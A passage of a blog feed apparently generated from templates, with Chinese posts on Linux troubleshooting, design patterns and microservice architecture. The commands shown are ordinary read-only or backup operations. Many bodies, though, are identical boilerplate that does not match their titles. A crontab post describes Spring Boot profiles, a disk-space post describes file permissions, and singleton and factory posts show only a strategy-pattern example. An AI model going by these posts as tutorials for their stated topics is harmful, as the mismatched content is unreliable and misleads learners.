        <content type="html"><![CDATA[<h1 id="crontab-定时任务从配置到排查"><a href="#crontab-定时任务从配置到排查" class="headerlink" title="crontab 定时任务从配置到排查"></a>crontab 定时任务从配置到排查</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 教程 </tag>
            
            <tag> Linux </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>systemd 服务管理入门</title>
      <link href="//systemd-fu-wu-guan-li-ru-men/"/>
      <url>//systemd-fu-wu-guan-li-ru-men/</url>
      
        <content type="html"><![CDATA[<h1 id="systemd-服务管理入门"><a href="#systemd-服务管理入门" class="headerlink" title="systemd 服务管理入门"></a>systemd 服务管理入门</h1><p>systemd 是 Linux 上的服务管理器。本文讲如何编写 service 文件和管理服务。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 教程 </tag>
            
            <tag> Linux </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Linux 查看日志的几种方法</title>
      <link href="//linux-cha-kan-ri-zhi-de-ji-chong-fang-fa/"/>
      <url>//linux-cha-kan-ri-zhi-de-ji-chong-fang-fa/</url>
      
        <content type="html"><![CDATA[<h1 id="Linux-查看日志的几种方法"><a href="#Linux-查看日志的几种方法" class="headerlink" title="Linux 查看日志的几种方法"></a>Linux 查看日志的几种方法</h1><p>日志是线上排查的生命线。本文讲 Spring Boot 中日志配置、分级输出和排查技巧。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 教程 </tag>
            
            <tag> Linux </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Linux 磁盘空间占满排查流程</title>
      <link href="//linux-ci-pan-kong-jian-zhan-man-pai-cha-liu-cheng/"/>
      <url>//linux-ci-pan-kong-jian-zhan-man-pai-cha-liu-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="Linux-磁盘空间占满排查流程"><a href="#Linux-磁盘空间占满排查流程" class="headerlink" title="Linux 磁盘空间占满排查流程"></a>Linux 磁盘空间占满排查流程</h1><p>Linux 文件权限是运维和后端开发的基础。本文讲权限模型和常见问题。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 教程 </tag>
            
            <tag> Linux </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>责任链模式在审批和过滤器中的应用</title>
      <link href="//ze-ren-lian-mo-shi-zai-shen-pi-he-guo-lu-qi-zhong-de-ying-yong/"/>
      <url>//ze-ren-lian-mo-shi-zai-shen-pi-he-guo-lu-qi-zhong-de-ying-yong/</url>
      
        <content type="html"><![CDATA[<h1 id="责任链模式在审批和过滤器中的应用"><a href="#责任链模式在审批和过滤器中的应用" class="headerlink" title="责任链模式在审批和过滤器中的应用"></a>责任链模式在审批和过滤器中的应用</h1><p>责任链模式在审批和过滤器中应用广泛。本文讲它的实现方式和适用场景。</p><h2 id="先看业务味道"><a href="#先看业务味道" class="headerlink" title="先看业务味道"></a>先看业务味道</h2><p>设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。</p><h2 id="一个策略模式示例"><a href="#一个策略模式示例" class="headerlink" title="一个策略模式示例"></a>一个策略模式示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">VipDiscount</span> <span class="keyword">implements</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> amount.multiply(<span class="keyword">new</span> <span class="title class_">BigDecimal</span>(<span class="string">&quot;0.8&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用时通过类型选择策略，而不是写一大堆 if else。</p><h2 id="判断是否值得使用"><a href="#判断是否值得使用" class="headerlink" title="判断是否值得使用"></a>判断是否值得使用</h2><p>如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。</p>]]></content>
      
      
      <categories>
          
          <category> 设计模式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 设计模式 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>模板方法模式适合流程固定的业务</title>
      <link href="//mo-ban-fang-fa-mo-shi-gua-he-liu-cheng-gu-ding-de-ye-wu/"/>
      <url>//mo-ban-fang-fa-mo-shi-gua-he-liu-cheng-gu-ding-de-ye-wu/</url>
      
        <content type="html"><![CDATA[<h1 id="模板方法模式适合流程固定的业务"><a href="#模板方法模式适合流程固定的业务" class="headerlink" title="模板方法模式适合流程固定的业务"></a>模板方法模式适合流程固定的业务</h1><p>模板方法模式适合流程固定但细节不同的业务。本文讲它的实现和应用场景。</p><h2 id="先看业务味道"><a href="#先看业务味道" class="headerlink" title="先看业务味道"></a>先看业务味道</h2><p>设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。</p><h2 id="一个策略模式示例"><a href="#一个策略模式示例" class="headerlink" title="一个策略模式示例"></a>一个策略模式示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">VipDiscount</span> <span class="keyword">implements</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> amount.multiply(<span class="keyword">new</span> <span class="title class_">BigDecimal</span>(<span class="string">&quot;0.8&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用时通过类型选择策略，而不是写一大堆 if else。</p><h2 id="判断是否值得使用"><a href="#判断是否值得使用" class="headerlink" title="判断是否值得使用"></a>判断是否值得使用</h2><p>如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。</p>]]></content>
      
      
      <categories>
          
          <category> 设计模式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 设计模式 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>策略模式替代大量 if else</title>
      <link href="//ce-lue-mo-shi-ti-dai-da-liang-if-else/"/>
      <url>//ce-lue-mo-shi-ti-dai-da-liang-if-else/</url>
      
        <content type="html"><![CDATA[<h1 id="策略模式替代大量-if-else"><a href="#策略模式替代大量-if-else" class="headerlink" title="策略模式替代大量 if else"></a>策略模式替代大量 if else</h1><p>策略模式是替代大量 if-else 的经典方案。本文讲它的实现方式和注意事项。</p><h2 id="先看业务味道"><a href="#先看业务味道" class="headerlink" title="先看业务味道"></a>先看业务味道</h2><p>设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。</p><h2 id="一个策略模式示例"><a href="#一个策略模式示例" class="headerlink" title="一个策略模式示例"></a>一个策略模式示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">VipDiscount</span> <span class="keyword">implements</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> amount.multiply(<span class="keyword">new</span> <span class="title class_">BigDecimal</span>(<span class="string">&quot;0.8&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用时通过类型选择策略，而不是写一大堆 if else。</p><h2 id="判断是否值得使用"><a href="#判断是否值得使用" class="headerlink" title="判断是否值得使用"></a>判断是否值得使用</h2><p>如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。</p>]]></content>
      
      
      <categories>
          
          <category> 设计模式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 设计模式 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>工厂模式如何降低创建复杂度</title>
      <link href="//gong-han-mo-shi-ru-he-jiang-di-chuang-jian-fu-za-du/"/>
      <url>//gong-han-mo-shi-ru-he-jiang-di-chuang-jian-fu-za-du/</url>
      
        <content type="html"><![CDATA[<h1 id="工厂模式如何降低创建复杂度"><a href="#工厂模式如何降低创建复杂度" class="headerlink" title="工厂模式如何降低创建复杂度"></a>工厂模式如何降低创建复杂度</h1><p>工厂模式能降低创建复杂度，但用不好反而会增加复杂度。本文讲它的适用场景。</p><h2 id="先看业务味道"><a href="#先看业务味道" class="headerlink" title="先看业务味道"></a>先看业务味道</h2><p>设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。</p><h2 id="一个策略模式示例"><a href="#一个策略模式示例" class="headerlink" title="一个策略模式示例"></a>一个策略模式示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">VipDiscount</span> <span class="keyword">implements</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> amount.multiply(<span class="keyword">new</span> <span class="title class_">BigDecimal</span>(<span class="string">&quot;0.8&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用时通过类型选择策略，而不是写一大堆 if else。</p><h2 id="判断是否值得使用"><a href="#判断是否值得使用" class="headerlink" title="判断是否值得使用"></a>判断是否值得使用</h2><p>如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。</p>]]></content>
      
      
      <categories>
          
          <category> 设计模式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 设计模式 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>单例模式的线程安全写法</title>
      <link href="//dan-li-mo-shi-de-xian-cheng-an-quan-xie-fa/"/>
      <url>//dan-li-mo-shi-de-xian-cheng-an-quan-xie-fa/</url>
      
        <content type="html"><![CDATA[<h1 id="单例模式的线程安全写法"><a href="#单例模式的线程安全写法" class="headerlink" title="单例模式的线程安全写法"></a>单例模式的线程安全写法</h1><p>单例模式看似简单，但线程安全的写法有很多讲究。本文讲各种实现的区别。</p><h2 id="先看业务味道"><a href="#先看业务味道" class="headerlink" title="先看业务味道"></a>先看业务味道</h2><p>设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。</p><h2 id="一个策略模式示例"><a href="#一个策略模式示例" class="headerlink" title="一个策略模式示例"></a>一个策略模式示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">VipDiscount</span> <span class="keyword">implements</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> amount.multiply(<span class="keyword">new</span> <span class="title class_">BigDecimal</span>(<span class="string">&quot;0.8&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用时通过类型选择策略，而不是写一大堆 if else。</p><h2 id="判断是否值得使用"><a href="#判断是否值得使用" class="headerlink" title="判断是否值得使用"></a>判断是否值得使用</h2><p>如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。</p>]]></content>
      
      
      <categories>
          
          <category> 设计模式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 设计模式 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>接口版本管理和灰度发布思路</title>
      <link href="//jie-kou-ban-ben-guan-li-he-hui-du-fa-bu-si-lu/"/>
      <url>//jie-kou-ban-ben-guan-li-he-hui-du-fa-bu-si-lu/</url>
      
        <content type="html"><![CDATA[<h1 id="接口版本管理和灰度发布思路"><a href="#接口版本管理和灰度发布思路" class="headerlink" title="接口版本管理和灰度发布思路"></a>接口版本管理和灰度发布思路</h1><p>接口版本管理和灰度发布是长期维护项目必须考虑的。本文讲几种常见做法。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 微服务 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> SpringCloud </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>OpenFeign 调用超时和重试配置</title>
      <link href="//openfeign-diao-yong-chao-shi-he-chong-shi-pei-zhi/"/>
      <url>//openfeign-diao-yong-chao-shi-he-chong-shi-pei-zhi/</url>
      
        <content type="html"><![CDATA[<h1 id="OpenFeign-调用超时和重试配置"><a href="#OpenFeign-调用超时和重试配置" class="headerlink" title="OpenFeign 调用超时和重试配置"></a>OpenFeign 调用超时和重试配置</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 微服务 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> SpringCloud </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>网关在微服务里承担什么职责</title>
      <link href="//wang-guan-zai-wei-fu-wu-li-cheng-dan-shi-me-zhi-ze/"/>
      <url>//wang-guan-zai-wei-fu-wu-li-cheng-dan-shi-me-zhi-ze/</url>
      
        <content type="html"><![CDATA[<h1 id="网关在微服务里承担什么职责"><a href="#网关在微服务里承担什么职责" class="headerlink" title="网关在微服务里承担什么职责"></a>网关在微服务里承担什么职责</h1><p>API 网关在微服务架构中承担重要角色。本文讲它的职责和常见能力。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 微服务 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> SpringCloud </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>服务注册发现的基本流程</title>
      <link href="//fu-wu-zhu-ce-fa-xian-de-ji-ben-liu-cheng/"/>
      <url>//fu-wu-zhu-ce-fa-xian-de-ji-ben-liu-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="服务注册发现的基本流程"><a href="#服务注册发现的基本流程" class="headerlink" title="服务注册发现的基本流程"></a>服务注册发现的基本流程</h1><p>服务注册与发现是微服务的基础。本文讲它的基本流程和实现思路。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 微服务 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> SpringCloud </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>配置中心解决了什么问题</title>
      <link href="//pei-zhi-zhong-xin-jie-jue-liao-shi-me-wen-ti/"/>
      <url>//pei-zhi-zhong-xin-jie-jue-liao-shi-me-wen-ti/</url>
      
